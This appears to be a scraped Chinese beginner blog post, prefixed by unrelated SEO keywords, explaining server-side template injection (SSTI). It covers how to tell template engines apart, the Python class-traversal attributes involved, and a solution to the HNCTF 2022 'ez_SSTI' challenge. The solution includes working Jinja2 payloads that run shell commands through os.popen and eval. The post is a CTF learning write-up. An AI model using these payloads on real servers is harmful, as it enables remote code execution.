荆州北京网站建设,广告网站开发背景,哪里有室内装修培训的地方,品牌营销推广策划公司ssti#xff08;Server-Side Template Injection#xff09;即服务器端模版注入。 首先#xff0c;在介绍ssti漏洞之前#xff0c;需要了解web前端框架#xff08;MVC#xff09;中对模版文件的调用和渲染#xff0c;Web框架比如Flask#xff08;以使用 Python 编写的轻… sstiServer-Side Template Injection即服务器端模版注入。 首先在介绍ssti漏洞之前需要了解web前端框架MVC中对模版文件的调用和渲染Web框架比如Flask以使用 Python 编写的轻量级 Web 应用框架函数调用模版引擎模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。对模版文件多为html文件和html file文件进行渲染和调用。还有就是关于SSTI的题大都出在python上但是这种攻击方式并不是只存在于Python 这门语言里面凡是使用模板的地方都可能会出现 SSTI 的问题SSTI 不属于任何一种语言。在正常情况下模板引擎被设计用于安全地将预定义的模板与数据进行组合生成最终的输出。但是SSTI 漏洞允许攻击者在应用程序的上下文中执行任意的服务器端代码。当攻击者能够通过用户输入或其他外部来源插入恶意的模板代码时就会产生一系列问题。 当绕过服务端接收了用户的恶意输入以后未经任何处理就将其作为 Web 应用模板内容的一部分而模板引擎在进行目标编译渲染的过程中执行了用户插入的可以破坏模板的语句就会导致敏感信息泄露、代码执行、GetShell 等问题 。 一句话介绍ssti漏洞成因就是如果在构建模板时未正确处理用户输入就可能导致SSTI漏洞的产生。 由上方介绍可知ssti最开始以及最重要的一步应该是判断模版类型。常见模板有Smarty、Mako、Twig、Jinja2、Eval、Flask、Tornado、Go、Django、Ruby等然后就是判断类型的一张非常经典的图片了。 这幅图就是通过这些指令去判断对方用的是什么模板 首先是注入${7*7}没有回显出49的情况这种时候就是执行失败走红线再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入如果注入{{77}}回显了49代表执行成功继续往下走注入{{7*7}}如果执行成功回显7777777说明是jinja2模板如果回显是49就说明是Twig模板。然后回到最初注入${77}成功回显出49的情况这种时候是执行成功走绿线再次注a{*comment*}b如果执行成功回显ab就说明是Smarty模板如果没有回显出ab就是执行失败走红线注入${z.join(ab)}如果执行成功回显出zab就说明是Mako模板。 实际上这里就是通过对各个语法的不同通过回显来判断模版的类型。因为在不同的语法中包裹的的内容不同语法的应用不同对语法中内容的处理也不同。
常用的类
__class__用来查看变量所属的类
__bases__用来查看类的基类就是父类或者__base__
__mro__显示类和基类
__subclasses__()查看当前类的子类
__getitem__对数组字典的内容提取 __init__ : 初始化类返回的类型是function
__globals__:查看全局变量有哪些可用的函数方法等然后再搜索popeneval等
__builtins__:提供对Python的所有内置标识符的直接访问,即先加载内嵌函数再调用
__import__ 动态加载类和函数用于导入模块经常用于导入os模块例如__import__(os).popen(ls).read() url_for flask的方法可以用于得到__builtins__ lipsum flask的一个方法可以用于得到__builtins__而且lipsum.__globals__含有os模块{{lipsum.__globals__[os].popen(ls).read()}} config当前application的所有配置。
popen():执行一个 shell 以运行命令来开启一个进程 基本的类就这些但是很多网站都存在很多过滤到时候绕过又需要花费一些功夫。
接下来就是实战 [HNCTF 2022 WEEK2]ez_SSTI
进入页面已经给了提示且经过测试存在ssti 太贴心了还给了一个判断模版的超链接 通过和图里面的方法不断试错。
发现模版是jinja2这里的参数是看好像很多的文章介绍这个都是以name为参数所以选择name 然后呢执行方式选择eval执行命令构造payload返回出所有的子类一般要用到的子类是os._wrap_close,当然在不同的情况下所处的位置不同 搜索了一下定位了大概位置这里呢有两种构造payload的方法第一种呢是通过全局变量—__globals__,然后再搜索
payload
{{config.__class__.__init__.__globals__[os].popen(cat flag).read() }}就可以直接得到flag
还有一个是在类的下面找这个有点麻烦因为要找到子类的位置 这里通过查看器发现是第138项
构造payload
?name{{.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__[__builtins__][eval](__import__(os).popen(cat f*).read())}}
就得到了flag 纯小白如有错误欢迎指导